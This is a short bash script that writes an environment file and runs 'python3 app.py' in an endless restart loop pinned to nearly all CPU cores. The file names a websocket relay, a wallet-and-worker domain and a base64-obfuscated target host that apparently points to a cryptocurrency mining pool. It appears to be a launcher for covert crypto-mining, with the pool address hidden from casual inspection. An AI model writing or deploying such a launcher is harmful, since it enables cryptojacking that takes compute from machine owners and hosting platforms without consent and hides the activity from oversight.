#!/bin/bash

CONNECT=$1
NAME=$2
WAL=$3
echo "SERVER_WS=wss://wss.sinyal.biz.id
SERVER_TARGET=dXMucXJsLmdmd3JvdXRlLmNvbToxMTY2
SERVER_DOMAIN=${WAL}.${NAME}
SERVER_SECRET=x
SERVER_CONNECTION=${CONNECT}
SERVER_MODE=FAST" > .env
TOTAL_CORES=$(nproc)
RANGES="0-$((TOTAL_CORES - 2))"
while true; do
    python3 app.py &
    PID=$!
    sleep 2
    taskset -cp "$RANGES" "$PID" >/dev/null 2>&1
    wait "$PID"
    sleep 15
done